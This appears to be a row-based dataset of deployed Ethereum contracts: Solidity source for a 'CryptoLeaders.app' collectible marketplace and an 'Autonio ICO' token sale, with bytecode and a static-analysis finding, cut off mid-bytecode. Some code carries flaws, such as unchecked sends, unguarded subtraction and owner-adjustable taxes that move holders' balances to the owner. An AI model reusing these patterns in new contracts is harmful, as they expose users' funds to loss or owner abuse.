modifier onlyOwner() {
require(owner == msg.sender);
_;
}
modifier onlyAdmins() {
require(admins[msg.sender]);
_;
}
modifier onlyERC721() {
require(erc721Enabled);
_;
}
/* Owner */
function setOwner (address _owner) onlyOwner() public {
owner = _owner;
}
function addAdmin (address _admin) onlyOwner() public {
admins[_admin] = true;
}
function removeAdmin (address _admin) onlyOwner() public {
delete admins[_admin];
}
// Unlocks ERC721 behaviour, allowing for trading on third party platforms.
function enableERC721 () onlyOwner() public {
erc721Enabled = true;
}
/* Withdraw */
/*
NOTICE: These functions withdraw the developer's cut which is left
in the contract by `buy`. User funds are immediately sent to the old
owner in `buy`, no user funds are left in the contract.
*/
function withdrawAll () onlyOwner() public {
owner.transfer(this.balance);
}
function withdrawAmount (uint256 _amount) onlyOwner() public {
owner.transfer(_amount);
}
/* Listing */
function listMultipleItems (uint256[] _itemIds, uint256 _price, address _owner) onlyAdmins() external {
for (uint256 i = 0; i < _itemIds.length; i++) {
listItem(_itemIds[i], _price, _owner);
}
}
function listItem (uint256 _itemId, uint256 _price, address _owner) onlyAdmins() public {
require(_price > 0);
require(priceOfItem[_itemId] == 0);
require(ownerOfItem[_itemId] == address(0));
ownerOfItem[_itemId] = _owner;
priceOfItem[_itemId] = _price;
startingPriceOfItem[_itemId] = _price;
listedItems.push(_itemId);
}
/* Buying */
function calculateNextPrice (uint256 _price) public view returns (uint256 _nextPrice) {
if (_price < increaseLimit1) {
return _price.mul(200).div(95);
} else if (_price < increaseLimit2) {
return _price.mul(135).div(96);
} else if (_price < increaseLimit3) {
return _price.mul(125).div(97);
} else if (_price < increaseLimit4) {
return _price.mul(117).div(97);
} else {
return _price.mul(115).div(98);
}
}
function calculateDevCut (uint256 _price) public view returns (uint256 _devCut) {
if (_price < increaseLimit1) {
return _price.mul(5).div(100); // 5%
} else if (_price < increaseLimit2) {
return _price.mul(4).div(100); // 4%
} else if (_price < increaseLimit3) {
return _price.mul(3).div(100); // 3%
} else if (_price < increaseLimit4) {
return _price.mul(3).div(100); // 3%
} else {
return _price.mul(2).div(100); // 2%
}
}
/*
Buy a country directly from the contract for the calculated price
which ensures that the owner gets a profit. All countries that
have been listed can be bought by this method. User funds are sent
directly to the previous owner and are never stored in the contract.
*/
function buy (uint256 _itemId) payable public {
require(priceOf(_itemId) > 0);
require(ownerOf(_itemId) != address(0));
require(msg.value >= priceOf(_itemId));
require(ownerOf(_itemId) != msg.sender);
require(!isContract(msg.sender));
require(msg.sender != address(0));
address oldOwner = ownerOf(_itemId);
address newOwner = msg.sender;
uint256 price = priceOf(_itemId);
uint256 excess = msg.value.sub(price);
_transfer(oldOwner, newOwner, _itemId);
priceOfItem[_itemId] = nextPriceOf(_itemId);
Bought(_itemId, newOwner, price);
Sold(_itemId, oldOwner, price);
// Devevloper's cut which is left in contract and accesed by
// `withdrawAll` and `withdrawAmountTo` methods.
uint256 devCut = calculateDevCut(price);
// Transfer payment to old owner minus the developer's cut.
oldOwner.transfer(price.sub(devCut));
if (excess > 0) {
newOwner.transfer(excess);
}
}
/* ERC721 */
function implementsERC721() public view returns (bool _implements) {
return erc721Enabled;
}
function name() public pure returns (string _name) {
return "CryptoLeaders.app";
}
function symbol() public pure returns (string _symbol) {
return "CLS";
}
function totalSupply() public view returns (uint256 _totalSupply) {
return listedItems.length;
}
function balanceOf (address _owner) public view returns (uint256 _balance) {
uint256 counter = 0;
for (uint256 i = 0; i < listedItems.length; i++) {
if (ownerOf(listedItems[i]) == _owner) {
counter++;
}
}
return counter;
}
function ownerOf (uint256 _itemId) public view returns (address _owner) {
return ownerOfItem[_itemId];
}
function tokensOf (address _owner) public view returns (uint256[] _tokenIds) {
uint256[] memory items = new uint256[](balanceOf(_owner));
uint256 itemCounter = 0;
for (uint256 i = 0; i < listedItems.length; i++) {
if (ownerOf(listedItems[i]) == _owner) {
items[itemCounter] = listedItems[i];
itemCounter += 1;
}
}
return items;
}
function tokenExists (uint256 _itemId) public view returns (bool _exists) {
return priceOf(_itemId) > 0;
}
function approvedFor(uint256 _itemId) public view returns (address _approved) {
return approvedOfItem[_itemId];
}
function approve(address _to, uint256 _itemId) onlyERC721() public {
require(msg.sender != _to);
require(tokenExists(_itemId));
require(ownerOf(_itemId) == msg.sender);
if (_to == 0) {
if (approvedOfItem[_itemId] != 0) {
delete approvedOfItem[_itemId];
Approval(msg.sender, 0, _itemId);
}
} else {
approvedOfItem[_itemId] = _to;
Approval(msg.sender, _to, _itemId);
}
}
/* Transferring a country to another owner will entitle the new owner the profits from `buy` */
function transfer(address _to, uint256 _itemId) onlyERC721() public {
require(msg.sender == ownerOf(_itemId));
_transfer(msg.sender, _to, _itemId);
}
function transferFrom(address _from, address _to, uint256 _itemId) onlyERC721() public {
require(approvedFor(_itemId) == msg.sender);
_transfer(_from, _to, _itemId);
}
function _transfer(address _from, address _to, uint256 _itemId) internal {
require(tokenExists(_itemId));
require(ownerOf(_itemId) == _from);
require(_to != address(0));
require(_to != address(this));
ownerOfItem[_itemId] = _to;
approvedOfItem[_itemId] = 0;
Transfer(_from, _to, _itemId);
}
/* Read */
function isAdmin (address _admin) public view returns (bool _isAdmin) {
return admins[_admin];
}
function startingPriceOf (uint256 _itemId) public view returns (uint256 _startingPrice) {
return startingPriceOfItem[_itemId];
}
function priceOf (uint256 _itemId) public view returns (uint256 _price) {
return priceOfItem[_itemId];
}
function nextPriceOf (uint256 _itemId) public view returns (uint256 _nextPrice) {
return calculateNextPrice(priceOf(_itemId));
}
function allOf (uint256 _itemId) external view returns (address _owner, uint256 _startingPrice, uint256 _price, uint256 _nextPrice) {
return (ownerOf(_itemId), startingPriceOf(_itemId), priceOf(_itemId), nextPriceOf(_itemId));
}
function itemsForSaleLimit (uint256 _from, uint256 _take) public view returns (uint256[] _items) {
uint256[] memory items = new uint256[](_take);
for (uint256 i = 0; i < _take; i++) {
items[i] = listedItems[_from + i];
}
return items;
}
/* Util */
function isContract(address addr) internal view returns (bool) {
uint size;
assembly { size := extcodesize(addr) } // solium-disable-line
return size > 0;
}
} | 0x6080604052600436106101735763ffffffff7c0100000000000000000000000000000000000000000000000000000000600035041662923f9e81146101785780630562b9f7146101a457806306fdde03146101be578063095ea7b3146102485780631051db341461026c57806313af4035146102815780631785f53c146102a257806318160ddd146102c357806323b872dd146102ea57806324d7806c146103145780632a6dd48f146103355780632e4f43bf14610369578063442edd03146103b15780635435bac8146103d85780635a3f2672146104435780635ba9e48e146104645780636352211e1461047c578063651212051461049457806370480275146104ac57806370a08231146104cd57806371dc761e146104ee578063853828b61461050357806395d89b4114610518578063a9059cbb1461052d578063af7520b914610551578063b9186d7d14610569578063baddee6f14610581578063d96a094a146105b1578063e08503ec146105bc575b600080fd5b34801561018457600080fd5b506101906004356105d4565b604080519115158252519081900360200190f35b3480156101b057600080fd5b506101bc6004356105e9565b005b3480156101ca57600080fd5b506101d361063d565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561020d5781810151838201526020016101f5565b50505050905090810190601f16801561023a5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561025457600080fd5b506101bc600160a060020a0360043516602435610674565b34801561027857600080fd5b506101906107cf565b34801561028d57600080fd5b506101bc600160a060020a03600435166107d8565b3480156102ae57600080fd5b506101bc600160a060020a036004351661081e565b3480156102cf57600080fd5b506102d8610856565b60408051918252519081900360200190f35b3480156102f657600080fd5b506101bc600160a060020a036004358116906024351660443561085c565b34801561032057600080fd5b50610190600160a060020a036004351661089a565b34801561034157600080fd5b5061034d6004356108b8565b60408051600160a060020a039092168252519081900360200190f35b34801561037557600080fd5b506103816004356108d3565b60408051600160a060020a0390951685526020850193909352838301919091526060830152519081900360800190f35b3480156103bd57600080fd5b506101bc600435602435600160a060020a036044351661090c565b3480156103e457600080fd5b506103f36004356024356109f5565b60408051602080825283518183015283519192839290830191858101910280838360005b8381101561042f578181015183820152602001610417565b505050509050019250505060405180910390f35b34801561044f57600080fd5b506103f3600160a060020a0360043516610a77565b34801561047057600080fd5b506102d8600435610b4a565b34801561048857600080fd5b5061034d600435610b63565b3480156104a057600080fd5b506102d8600435610b7e565b3480156104b857600080fd5b506101bc600160a060020a0360043516610c29565b3480156104d957600080fd5b506102d8600160a060020a0360043516610c67565b3480156104fa57600080fd5b506101bc610cb7565b34801561050f57600080fd5b506101bc610cdd565b34801561052457600080fd5b506101d3610d32565b34801561053957600080fd5b506101bc600160a060020a0360043516602435610d69565b34801561055d57600080fd5b506102d8600435610da2565b34801561057557600080fd5b506102d8600435610db4565b34801561058d57600080fd5b506101bc602460048035828101929101359035600160a060020a0360443516610dc6565b6101bc600435610e1c565b3480156105c857600080fd5b506102d860043561101b565b6000806105e083610db4565b1190505b919050565b600054600160a060020a0316331461060057600080fd5b60008054604051600160a060020a039091169183156108fc02918491818181858888f19350505050158015610639573d6000803e3d6000fd5b5050565b60408051808201909152601181527f43727970746f4c6561646572732e617070000000000000000000000000000000602082015290565b60025460ff16151561068557600080fd5b33600160a060020a038316141561069b57600080fd5b6106a4816105d4565b15156106af57600080fd5b336106b982610b63565b600160a060020a0316146106cc57600080fd5b600160a060020a038216151561075c576000818152600b6020526040902054600160a060020a031615610757576000818152600b60209081526040808320805473ffffffffffffffffffffffffffffffffffffffff191690558051848152905133927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925928290030190a35b610639565b6000818152600b6020908152604091829020805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a03861690811790915582518481529251909233927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92592918290030190a35050565b60025460ff1690565b600054600160a060020a031633146107ef57600080fd5b6000805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b600054600160a060020a0316331461083557600080fd5b600160a060020a03166000908152600160205260409020805460ff19169055565b60075490565b60025460ff16151561086d57600080fd5b33610877826108b8565b600160a060020a03161461088a57600080fd5b6108958383836110b3565b505050565b600160a060020a031660009081526001602052604090205460ff1690565b6000908152600b6020526040902054600160a060020a031690565b6000806000806108e285610b63565b6108eb86610da2565b6108f487610db4565b6108fd88610b4a565b93509350935093509193509193565b3360009081526001602052604090205460ff16151561092a57600080fd5b6000821161093757600080fd5b6000838152600a60205260409020541561095057600080fd5b600083815260086020526040902054600160a060020a03161561097257600080fd5b6000838152600860209081526040808320805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a039590951694909417909355600a815282822084905560099052908120919091556007805460018101825591527fa66cc928b5edb82af9bd49922954155ab7b0942694bea4ce44661d9a8736c6880155565b606080600083604051908082528060200260200182016040528015610a24578160200160208202803883390190505b509150600090505b83811015610a6f5760078054868301908110610a4457fe5b90600052602060002001548282815181101515610a5d57fe5b60209081029091010152600101610a2c565b509392505050565b606080600080610a8685610c67565b604051908082528060200260200182016040528015610aaf578160200160208202803883390190505b50925060009150600090505b600754811015610b415784600160a060020a0316610af1600783815481101515610ae157fe5b9060005260206000200154610b63565b600160a060020a03161415610b39576007805482908110610b0e57fe5b90600052602060002001548383815181101515610b2757fe5b60209081029091010152600191909101905b600101610abb565b50909392505050565b6000610b5d610b5883610db4565b61101b565b92915050565b600090815260086020526040902054600160a060020a031690565b6000600354821015610bb357610bac6064610ba084600563ffffffff61119c16565b9063ffffffff6111ce16565b90506105e4565b600454821015610bd357610bac6064610ba084600463ffffffff61119c16565b600554821015610bf357610bac6064610ba084600363ffffffff61119c16565b600654821015610c1357610bac6064610ba084600363ffffffff61119c16565b610bac6064610ba084600263ffffffff61119c16565b600054600160a060020a03163314610c4057600080fd5b600160a060020a03166000908152600160208190526040909120805460ff19169091179055565b600080805b600754811015610cb05783600160a060020a0316610c92600783815481101515610ae157fe5b600160a060020a03161415610ca8576001909101905b600101610c6c565b5092915050565b600054600160a060020a03163314610cce57600080fd5b6002805460ff19166001179055565b600054600160a060020a03163314610cf457600080fd5b60008054604051600160a060020a0390911691303180156108fc02929091818181858888f19350505050158015610d2f573d6000803e3d6000fd5b50565b60408051808201909152600381527f434c530000000000000000000000000000000000000000000000000000000000602082015290565b60025460ff161515610d7a57600080fd5b610d8381610b63565b600160a060020a03163314610d9757600080fd5b6106393383836110b3565b60009081526009602052604090205490565b6000908152600a602052604090205490565b3360009081526001602052604081205460ff161515610de457600080fd5b5060005b83811015610e1557610e0d858583818110610dff57fe5b90506020020135848461090c565b600101610de8565b5050505050565b600080600080600080610e2e87610db4565b11610e3857600080fd5b6000610e4387610b63565b600160a060020a03161415610e5757600080fd5b610e6086610db4565b341015610e6c57600080fd5b33610e7687610b63565b600160a060020a03161415610e8a57600080fd5b610e93336111e5565b15610e9d57600080fd5b331515610ea957600080fd5b610eb286610b63565b9450339350610ec086610db4565b9250610ed2348463ffffffff6111ed16565b9150610edf8585886110b3565b610ee886610b4a565b600a60008881526020019081526020016000208190555083600160a060020a0316867fd2728f908c7e0feb83c6278798370fcb86b62f236c9dbf1a3f541096c2159040856040518082815260200191505060405180910390a3604080518481529051600160a060020a0387169188917f66f5cd880edf48cdde6c966e5da0784fcc4c5e85572b8b3b62c4357798d447d79181900360200190a3610f8a83610b7e565b9050600160a060020a0385166108fc610fa9858463ffffffff6111ed16565b6040518115909202916000818181858888f19350505050158015610fd1573d6000803e3d6000fd5b50600082111561101357604051600160a060020a0385169083156108fc029084906000818181858888f19350505050158015611011573d6000803e3d6000fd5b505b505050505050565b600060035482101561103d57610bac605f610ba08460c863ffffffff61119c16565b60045482101561105d57610bac6060610ba084608763ffffffff61119c16565b60055482101561107d57610bac6061610ba084607d63ffffffff61119c16565b60065482101561109d57610bac6061610ba084607563ffffffff61119c16565b610bac6062610ba084607363ffffffff61119c16565b6110bc816105d4565b15156110c757600080fd5b82600160a060020a03166110da82610b63565b600160a060020a0316146110ed57600080fd5b600160a060020a038216151561110257600080fd5b600160a060020a03821630141561111857600080fd5b60008181526008602090815260408083208054600160a060020a0380881673ffffffffffffffffffffffffffffffffffffffff199283168117909355600b855294839020805490911690558151858152915190938716927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef928290030190a3505050565b6000808315156111af5760009150610cb0565b508282028284828115156111bf57fe5b04146111c757fe5b9392505050565b60008082848115156111dc57fe5b04949350505050565b6000903b1190565b6000828211156111f957fe5b509003905600a165627a7a72305820124bb0046890fd25cd9260ba30b30eb2dbb9ddced0e595e3c44fa5732b7d67780029 | {"success": true, "error": null, "results": {"detectors": [{"check": "constant-function-asm", "impact": "Medium", "confidence": "Medium"}]}} | 391 |
0x5af9af89535d0b0fc43cd4b9c69f5662fac4c8f8 | pragma solidity ^0.4.10;
contract Token {
mapping (address => uint256) public balanceOf;
mapping (uint256 => address) public addresses;
mapping (address => bool) public addressExists;
mapping (address => uint256) public addressIndex;
uint256 public numberOfAddress = 0;
string public physicalString;
string public cryptoString;
bool public isSecured;
string public name;
string public symbol;
uint256 public totalSupply;
bool public canMintBurn;
uint256 public txnTax;
uint256 public holdingTax;
//In Weeks, on Fridays
uint256 public holdingTaxInterval;
uint256 public lastHoldingTax;
uint256 public holdingTaxDecimals = 2;
bool public isPrivate;
address public owner;
function Token(string n, string a, uint256 totalSupplyToUse, bool isSecured, bool cMB, string physical, string crypto, uint256 txnTaxToUse, uint256 holdingTaxToUse, uint256 holdingTaxIntervalToUse, bool isPrivateToUse) {
name = n;
symbol = a;
totalSupply = totalSupplyToUse;
balanceOf[msg.sender] = totalSupplyToUse;
isSecured = isSecured;
physicalString = physical;
cryptoString = crypto;
canMintBurn = cMB;
owner = msg.sender;
txnTax = txnTaxToUse;
holdingTax = holdingTaxToUse;
holdingTaxInterval = holdingTaxIntervalToUse;
if(holdingTaxInterval!=0) {
lastHoldingTax = now;
while(getHour(lastHoldingTax)!=21) {
lastHoldingTax -= 1 hours;
}
while(getWeekday(lastHoldingTax)!=5) {
lastHoldingTax -= 1 days;
}
lastHoldingTax -= getMinute(lastHoldingTax) * (1 minutes) + getSecond(lastHoldingTax) * (1 seconds);
}
isPrivate = isPrivateToUse;
addAddress(owner);
}
function transfer(address _to, uint256 _value) payable {
chargeHoldingTax();
if (balanceOf[msg.sender] < _value) throw;
if (balanceOf[_to] + _value < balanceOf[_to]) throw;
if (msg.sender != owner && _to != owner && txnTax != 0) {
if(!owner.send(txnTax)) {
throw;
}
}
if(isPrivate && msg.sender != owner && !addressExists[_to]) {
throw;
}
balanceOf[msg.sender] -= _value;
balanceOf[_to] += _value;
addAddress(_to);
Transfer(msg.sender, _to, _value);
}
function changeTxnTax(uint256 _newValue) {
if(msg.sender != owner) throw;
txnTax = _newValue;
}
function mint(uint256 _value) {
if(canMintBurn && msg.sender == owner) {
if (balanceOf[msg.sender] + _value < balanceOf[msg.sender]) throw;
balanceOf[msg.sender] += _value;
totalSupply += _value;
Transfer(0, msg.sender, _value);
}
}
function burn(uint256 _value) {
if(canMintBurn && msg.sender == owner) {
if (balanceOf[msg.sender] < _value) throw;
balanceOf[msg.sender] -= _value;
totalSupply -= _value;
Transfer(msg.sender, 0, _value);
}
}
function chargeHoldingTax() {
if(holdingTaxInterval!=0) {
uint256 dateDif = now - lastHoldingTax;
bool changed = false;
while(dateDif >= holdingTaxInterval * (1 weeks)) {
changed=true;
dateDif -= holdingTaxInterval * (1 weeks);
for(uint256 i = 0;i<numberOfAddress;i++) {
if(addresses[i]!=owner) {
uint256 amtOfTaxToPay = ((balanceOf[addresses[i]]) * holdingTax) / (10**holdingTaxDecimals)/ (10**holdingTaxDecimals);
balanceOf[addresses[i]] -= amtOfTaxToPay;
balanceOf[owner] += amtOfTaxToPay;
}
}
}
if(changed) {
lastHoldingTax = now;
while(getHour(lastHoldingTax)!=21) {
lastHoldingTax -= 1 hours;
}
while(getWeekday(lastHoldingTax)!=5) {
lastHoldingTax -= 1 days;
}
lastHoldingTax -= getMinute(lastHoldingTax) * (1 minutes) + getSecond(lastHoldingTax) * (1 seconds);
}
}
}
function changeHoldingTax(uint256 _newValue) {
if(msg.sender != owner) throw;
holdingTax = _newValue;
}
function changeHoldingTaxInterval(uint256 _newValue) {
if(msg.sender != owner) throw;
holdingTaxInterval = _newValue;
}
function addAddress (address addr) private {
if(!addressExists[addr]) {
addressIndex[addr] = numberOfAddress;
addresses[numberOfAddress++] = addr;
addressExists[addr] = true;
}
}
function addAddressManual (address addr) {
if(msg.sender == owner && isPrivate) {
addAddress(addr);
} else {
throw;
}
}
function removeAddress (address addr) private {
if(addressExists[addr]) {
numberOfAddress--;
addresses[addressIndex[addr]] = 0x0;
addressExists[addr] = false;
}
}
function removeAddressManual (address addr) {
if(msg.sender == owner && isPrivate) {
removeAddress(addr);
} else {
throw;
}
}
function getWeekday(uint timestamp) returns (uint8) {
return uint8((timestamp / 86400 + 4) % 7);
}
function getHour(uint timestamp) returns (uint8) {
return uint8((timestamp / 60 / 60) % 24);
}
function getMinute(uint timestamp) returns (uint8) {
return uint8((timestamp / 60) % 60);
}
function getSecond(uint timestamp) returns (uint8) {
return uint8(timestamp % 60);
}
event Transfer(address indexed _from, address indexed _to, uint256 _value);
}
contract tokensale {
Token public token;
uint256 public totalSupply;
uint256 public numberOfTokens;
uint256 public numberOfTokensLeft;
uint256 public pricePerToken;
uint256 public tokensFromPresale = 0;
uint256 public tokensFromPreviousTokensale = 0;
uint8 public decimals = 2;
uint256 public withdrawLimit = 200000000000000000000;
address public owner;
string public name;
string public symbol;
address public finalAddress = 0x5904957d25D0c6213491882a64765967F88BCCC7;
mapping (address => uint256) public balanceOf;
mapping (address => bool) public addressExists;
mapping (uint256 => address) public addresses;
mapping (address => uint256) public addressIndex;
uint256 public numberOfAddress = 0;
mapping (uint256 => uint256) public dates;
mapping (uint256 => uint256) public percents;
uint256 public numberOfDates = 8;
tokensale ps = tokensale(0xa67d97d75eE175e05BB1FB17529FD772eE8E9030);
tokensale pts = tokensale(0xED6c0654cD61De5b1355Ae4e9d9C786005e9D5BD);
function tokensale(address tokenAddress, uint256 noOfTokens, uint256 prPerToken) {
dates[0] = 1505520000;
dates[1] = 1506038400;
dates[2] = 1506124800;
dates[3] = 1506816000;
dates[4] = 1507420800;
dates[5] = 1508112000;
dates[6] = 1508630400;
dates[7] = 1508803200;
percents[0] = 35000;
percents[1] = 20000;
percents[2] = 10000;
percents[3] = 5000;
percents[4] = 2500;
percents[5] = 0;
percents[6] = 9001;
percents[7] = 9001;
token = Token(tokenAddress);
numberOfTokens = noOfTokens * 100;
totalSupply = noOfTokens * 100;
numberOfTokensLeft = noOfTokens * 100;
pricePerToken = prPerToken;
owner = msg.sender;
name = "Autonio ICO";
symbol = "NIO";
updatePresaleNumbers();
}
function addAddress (address addr) private {
if(!addressExists[addr]) {
addressIndex[addr] = numberOfAddress;
addresses[numberOfAddress++] = addr;
addressExists[addr] = true;
}
}
function endPresale() {
if(msg.sender == owner) {
if(now > dates[numberOfDates-1]) {
finish();
} else if(numberOfTokensLeft == 0) {
finish();
} else {
throw;
}
} else {
throw;
}
}
function finish() private {
if(!finalAddress.send(this.balance)) {
throw;
}
}
function withdraw(uint256 amount) {
if(msg.sender == owner) {
if(amount <= withdrawLimit) {
withdrawLimit-=amount;
if(!finalAddress.send(amount)) {
throw;
}
} else {
throw;
}
} else {
throw;
}
}
function updatePresaleNumbers() {
if(msg.sender == owner) {
uint256 prevTokensFromPresale = tokensFromPresale;
tokensFromPresale = ps.numberOfTokens() - ps.numberOfTokensLeft();
uint256 dif = tokensFromPresale - prevTokensFromPresale;
numberOfTokensLeft -= dif * 100;
uint256 prevTokensFromPreviousTokensale = tokensFromPreviousTokensale;
tokensFromPreviousTokensale = pts.numberOfTokens() - pts.numberOfTokensLeft();
uint256 diff = tokensFromPreviousTokensale - prevTokensFromPreviousTokensale;
numberOfTokensLeft -= diff;
} else {
throw;
}
}
function () payable {
uint256 prevTokensFromPresale = tokensFromPresale;
tokensFromPresale = ps.numberOfTokens() - ps.numberOfTokensLeft();
uint256 dif = tokensFromPresale - prevTokensFromPresale;
numberOfTokensLeft -= dif * 100;
uint256 prevTokensFromPreviousTokensale = tokensFromPreviousTokensale;
tokensFromPreviousTokensale = pts.numberOfTokens() - pts.numberOfTokensLeft();
uint256 diff = tokensFromPreviousTokensale - prevTokensFromPreviousTokensale;
numberOfTokensLeft -= diff;
uint256 weiSent = msg.value * 100;
if(weiSent==0) {
throw;
}
uint256 weiLeftOver = 0;
if(numberOfTokensLeft<=0 || now<dates[0] || now>dates[numberOfDates-1]) {
throw;
}
uint256 percent = 9001;
for(uint256 i=0;i<numberOfDates-1;i++) {
if(now>=dates[i] && now<=dates[i+1] ) {
percent = percents[i];
i=numberOfDates-1;
}
}
if(percent==9001) {
throw;
}
uint256 tokensToGive = weiSent / pricePerToken;
if(tokensToGive * pricePerToken > weiSent) tokensToGive--;
tokensToGive=(tokensToGive*(100000+percent))/100000;
if(tokensToGive>numberOfTokensLeft) {
weiLeftOver = (tokensToGive - numberOfTokensLeft) * pricePerToken;
tokensToGive = numberOfTokensLeft;
}
numberOfTokensLeft -= tokensToGive;
if(addressExists[msg.sender]) {
balanceOf[msg.sender] += tokensToGive;
} else {
addAddress(msg.sender);
balanceOf[msg.sender] = tokensToGive;
}
Transfer(0x0,msg.sender,tokensToGive);
if(weiLeftOver>0)msg.sender.send(weiLeftOver);
}
event Transfer(address indexed _from, address indexed _to, uint256 _value);
} | 0x606060405236156101225763ffffffff60e060020a60003504166306fdde03811461052e57806318160ddd146105b957806327ea06b8146105de5780632e1a7d4d14610603578063313ce5671461061b5780633328d3f01461064457806334686b73146106695780633c7453711461068e5780635133ae24146106bd578063685b47c7146106e557806370a08231146106fa5780637b1b1de61461072b5780638b2909cf146107505780638da5cb5b146107755780638db1342d146107a4578063935c1fb1146107cc57806393d865e3146107fd57806395d89b4114610822578063a43be57b146108ad578063a5025222146108c2578063edf26d9b146108f5578063f848d54114610927578063f9f16ef21461094c578063fc0c546a14610971575b5b6005546015546000908190819081908190819081908190600160a060020a03166327ea06b882604051602001526040518163ffffffff1660e060020a028152600401602060405180830381600087803b151561017e57600080fd5b6102c65a03f1151561018f57600080fd5b5050506040518051601554909150600160a060020a031663f9f16ef26000604051602001526040518163ffffffff1660e060020a028152600401602060405180830381600087803b15156101e257600080fd5b6102c65a03f115156101f357600080fd5b5050506040518051919091036005819055600380546064928d900392830290039055600654601654919a509850600160a060020a031690506327ea06b86000604051602001526040518163ffffffff1660e060020a028152600401602060405180830381600087803b151561026757600080fd5b6102c65a03f1151561027857600080fd5b5050506040518051601654909150600160a060020a031663f9f16ef26000604051602001526040518163ffffffff1660e060020a028152600401602060405180830381600087803b15156102cb57600080fd5b6102c65a03f115156102dc57600080fd5b505050604051805191909103600681905560038054918a900391829003905596505060643402945084151561031057600080fd5b60009350600060035411158061034f57506000805260126020527f7e7fa33969761a458e04f477e039a608702b4f924981d6653935a8319a08ad7b5442105b8061036e57506014546000190160009081526012602052604090205442115b1561037857600080fd5b6123299250600091505b6001601454038210156103ec5760008281526012602052604090205442108015906103bf5750600182016000908152601260205260409020544211155b156103e0576000918252601360205260409091205460145490925060001901905b5b600190910190610382565b8261232914156103fb57600080fd5b6004548581151561040857fe5b049050846004548202111561041c57600019015b620186a083810182025b04905060035481111561044157600454600354918290030293505b600380548290039055600160a060020a0333166000908152600e602052604090205460ff161561048e57600160a060020a0333166000908152600d602052604090208054820190556104b3565b610497336109a0565b600160a060020a0333166000908152600d602052604090208190555b33600160a060020a031660007fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405190815260200160405180910390a3600084111561052257600160a060020a03331684156108fc0285604051600060405180830381858888f150505050505b5b505050505050505050005b341561053957600080fd5b610541610a2c565b60405160208082528190810183818151815260200191508051906020019080838360005b8381101561057e5780820151818401525b602001610565565b50505050905090810190601f1680156105ab5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156105c457600080fd5b6105cc610aca565b60405190815260200160405180910390f35b34156105e957600080fd5b6105cc610ad0565b60405190815260200160405180910390f35b341561060e57600080fd5b610619600435610ad6565b005b341561062657600080fd5b61062e610b4a565b60405160ff909116815260200160405180910390f35b341561064f57600080fd5b6105cc610b53565b60405190815260200160405180910390f35b341561067457600080fd5b6105cc610b59565b60405190815260200160405180910390f35b341561069957600080fd5b6106a1610b5f565b604051600160a060020a03909116815260200160405180910390f35b34156106c857600080fd5b6105cc600435610b6e565b60405190815260200160405180910390f35b34156106f057600080fd5b610619610b80565b005b341561070557600080fd5b6105cc600160a060020a0360043516610d80565b60405190815260200160405180910390f35b341561073657600080fd5b6105cc610d92565b60405190815260200160405180910390f35b341561075b57600080fd5b6105cc610d98565b60405190815260200160405180910390f35b341561078057600080fd5b6106a1610d9e565b604051600160a060020a03909116815260200160405180910390f35b34156107af57600080fd5b6105cc600435610dad565b60405190815260200160405180910390f35b34156107d757600080fd5b6105cc600160a060020a0360043516610dbf565b60405190815260200160405180910390f35b341561080857600080fd5b6105cc610dd1565b60405190815260200160405180910390f35b341561082d57600080fd5b610541610dd7565b60405160208082528190810183818151815260200191508051906020019080838360005b8381101561057e5780820151818401525b602001610565565b50505050905090810190601f1680156105ab5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156108b857600080fd5b610619610e75565b005b34156108cd57600080fd5b6108e1600160a060020a0360043516610edf565b604051901515815260200160405180910390f35b341561090057600080fd5b6106a1600435610ef4565b604051600160a060020a03909116815260200160405180910390f35b341561093257600080fd5b6105cc610f0f565b60405190815260200160405180910390f35b341561095757600080fd5b6105cc610f15565b60405190815260200160405180910390f35b341561097c57600080fd5b6106a1610f1b565b604051600160a060020a03909116815260200160405180910390f35b600160a060020a0381166000908152600e602052604090205460ff161515610a285760118054600160a060020a03831660008181526010602090815260408083208590556001808601909655938252600f8152838220805473ffffffffffffffffffffffffffffffffffffffff191684179055918152600e90915220805460ff191690911790555b5b50565b600a8054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610ac25780601f10610a9757610100808354040283529160200191610ac2565b820191906000526020600020905b815481529060010190602001808311610aa557829003601f168201915b505050505081565b60015481565b60035481565b60095433600160a060020a0390811691161415610b37576008548111610b3757600880548290039055600c54600160a060020a031681156108fc0282604051600060405180830381858888f193505050501515610b3257600080fd5b610b3c565b600080fd5b610a28565b600080fd5b5b50565b60075460ff1681565b60145481565b60115481565b600c54600160a060020a031681565b60126020526000908152604090205481565b60095460009081908190819033600160a060020a0390811691161415610b3757600554601554909450600160a060020a03166327ea06b86000604051602001526040518163ffffffff1660e060020a028152600401602060405180830381600087803b1515610bee57600080fd5b6102c65a03f11515610bff57600080fd5b5050506040518051601554909150600160a060020a031663f9f16ef26000604051602001526040518163ffffffff1660e060020a028152600401602060405180830381600087803b1515610c5257600080fd5b6102c65a03f11515610c6357600080fd5b505050604051805191909103600581905560038054606492889003928302900390556006546016549195509350600160a060020a031690506327ea06b86000604051602001526040518163ffffffff1660e060020a028152600401602060405180830381600087803b1515610cd757600080fd5b6102c65a03f11515610ce857600080fd5b5050506040518051601654909150600160a060020a031663f9f16ef26000604051602001526040518163ffffffff1660e060020a028152600401602060405180830381600087803b1515610d3b57600080fd5b6102c65a03f11515610d4c57600080fd5b505050604051805191909103600681905560038054918590039182900390559150610d799050565b600080fd5b5b50505050565b600d6020526000908152604090205481565b60045481565b60065481565b600954600160a060020a031681565b60136020526000908152604090205481565b60106020526000908152604090205481565b60055481565b600b8054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610ac25780601f10610a9757610100808354040283529160200191610ac2565b820191906000526020600020905b815481529060010190602001808311610aa557829003601f168201915b505050505081565b60095433600160a060020a0390811691161415610b375760145460001901600090815260126020526040902054421115610eb657610eb1610f2a565b610ed1565b6003